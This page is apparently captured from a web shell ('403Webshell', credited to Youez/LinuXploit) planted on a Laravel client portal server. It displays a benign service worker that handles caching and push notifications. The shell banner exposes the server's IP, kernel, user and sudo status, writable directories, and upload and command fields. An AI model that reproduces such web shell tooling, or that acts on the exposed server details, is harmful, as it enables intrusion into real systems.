403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/client-portal-laravel/releases/20260626120707/public/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/client-portal-laravel/releases/20260626120707/public/sw.js
/**
 * Service Worker for ScopeForged Client Portal
 * Handles push notifications and offline caching
 */

const CACHE_NAME = 'scopeforged-v1';
const OFFLINE_URL = '/offline.html';

// Assets to cache for offline use
const STATIC_ASSETS = [
    '/',
    '/offline.html',
    '/images/logos/favicon.svg',
    '/images/logos/web-app-manifest-192x192.png',
];

// Install event - cache static assets
self.addEventListener('install', (event) => {
    event.waitUntil(
        caches.open(CACHE_NAME)
            .then((cache) => cache.addAll(STATIC_ASSETS))
            .then(() => self.skipWaiting())
    );
});

// Activate event - clean up old caches
self.addEventListener('activate', (event) => {
    event.waitUntil(
        caches.keys().then((cacheNames) => {
            return Promise.all(
                cacheNames
                    .filter((cacheName) => cacheName !== CACHE_NAME)
                    .map((cacheName) => caches.delete(cacheName))
            );
        }).then(() => self.clients.claim())
    );
});

// Fetch event - network first, fall back to cache
self.addEventListener('fetch', (event) => {
    // Skip cross-origin requests
    if (!event.request.url.startsWith(self.location.origin)) {
        return;
    }

    // Skip non-GET requests
    if (event.request.method !== 'GET') {
        return;
    }

    // Skip API requests - always go to network
    if (event.request.url.includes('/api/') ||
        event.request.url.includes('/sanctum/') ||
        event.request.url.includes('/livewire/')) {
        return;
    }

    event.respondWith(
        fetch(event.request)
            .then((response) => {
                // Clone the response for caching
                const responseClone = response.clone();

                // Cache successful responses
                if (response.status === 200) {
                    caches.open(CACHE_NAME).then((cache) => {
                        cache.put(event.request, responseClone);
                    });
                }

                return response;
            })
            .catch(() => {
                // Try to return cached response
                return caches.match(event.request).then((cachedResponse) => {
                    if (cachedResponse) {
                        return cachedResponse;
                    }

                    // Return offline page for navigation requests
                    if (event.request.mode === 'navigate') {
                        return caches.match(OFFLINE_URL);
                    }

                    return new Response('Network error', {
                        status: 503,
                        statusText: 'Service Unavailable'
                    });
                });
            })
    );
});

// Push notification event
self.addEventListener('push', (event) => {
    if (!event.data) {
        console.log('Push event but no data');
        return;
    }

    let data;
    try {
        data = event.data.json();
    } catch (e) {
        data = {
            title: 'ScopeForged',
            body: event.data.text(),
            icon: '/images/logos/web-app-manifest-192x192.png'
        };
    }

    const options = {
        body: data.body || data.message || 'You have a new notification',
        icon: data.icon || '/images/logos/web-app-manifest-192x192.png',
        badge: '/images/logos/favicon-96x96.png',
        vibrate: [100, 50, 100],
        data: {
            url: data.url || data.action_url || '/',
            type: data.type || 'general',
            id: data.id || null
        },
        actions: data.actions || [],
        tag: data.tag || 'default',
        renotify: data.renotify || false,
        requireInteraction: data.requireInteraction || false,
        silent: data.silent || false
    };

    // Add default actions based on notification type
    if (data.type === 'audit_deadline_reminder' || data.type === 'stale_audit_item') {
        options.actions = [
            { action: 'view', title: 'View Details' },
            { action: 'dismiss', title: 'Dismiss' }
        ];
        options.requireInteraction = true;
    } else if (data.type === 'audit_assignment') {
        options.actions = [
            { action: 'view', title: 'View Finding' },
            { action: 'dismiss', title: 'Later' }
        ];
    }

    event.waitUntil(
        self.registration.showNotification(data.title || 'ScopeForged', options)
    );
});

// Notification click event
self.addEventListener('notificationclick', (event) => {
    event.notification.close();

    const notificationData = event.notification.data || {};
    let url = notificationData.url || '/';

    // Handle action buttons
    if (event.action === 'dismiss') {
        return; // Just close the notification
    }

    if (event.action === 'view' && notificationData.url) {
        url = notificationData.url;
    }

    event.waitUntil(
        clients.matchAll({ type: 'window', includeUncontrolled: true })
            .then((clientList) => {
                // Try to focus an existing window
                for (const client of clientList) {
                    if (client.url.includes(self.location.origin) && 'focus' in client) {
                        client.focus();
                        client.navigate(url);
                        return;
                    }
                }
                // Open a new window if none exists
                if (clients.openWindow) {
                    return clients.openWindow(url);
                }
            })
    );
});

// Handle notification close
self.addEventListener('notificationclose', (event) => {
    // Track notification dismissal for analytics if needed
    const notificationData = event.notification.data || {};

    // Could send analytics here
    console.log('Notification closed:', notificationData.type);
});

// Background sync for offline actions
self.addEventListener('sync', (event) => {
    if (event.tag === 'sync-status-updates') {
        event.waitUntil(syncStatusUpdates());
    }
});

// Sync queued status updates when back online
async function syncStatusUpdates() {
    try {
        const db = await openDB();
        const updates = await getAllFromStore(db, 'pending-updates');

        for (const update of updates) {
            try {
                const response = await fetch(update.url, {
                    method: update.method,
                    headers: update.headers,
                    body: JSON.stringify(update.body)
                });

                if (response.ok) {
                    await deleteFromStore(db, 'pending-updates', update.id);
                }
            } catch (e) {
                console.error('Failed to sync update:', e);
            }
        }
    } catch (e) {
        console.error('Sync failed:', e);
    }
}

// Simple IndexedDB helpers
function openDB() {
    return new Promise((resolve, reject) => {
        const request = indexedDB.open('scopeforged-offline', 1);

        request.onupgradeneeded = (event) => {
            const db = event.target.result;
            if (!db.objectStoreNames.contains('pending-updates')) {
                db.createObjectStore('pending-updates', { keyPath: 'id', autoIncrement: true });
            }
        };

        request.onsuccess = () => resolve(request.result);
        request.onerror = () => reject(request.error);
    });
}

function getAllFromStore(db, storeName) {
    return new Promise((resolve, reject) => {
        const transaction = db.transaction(storeName, 'readonly');
        const store = transaction.objectStore(storeName);
        const request = store.getAll();

        request.onsuccess = () => resolve(request.result);
        request.onerror = () => reject(request.error);
    });
}

function deleteFromStore(db, storeName, key) {
    return new Promise((resolve, reject) => {
        const transaction = db.transaction(storeName, 'readwrite');
        const store = transaction.objectStore(storeName);
        const request = store.delete(key);

        request.onsuccess = () => resolve();
        request.onerror = () => reject(request.error);
    });
}

Youez - 2016 - github.com/yon3zu
LinuXploit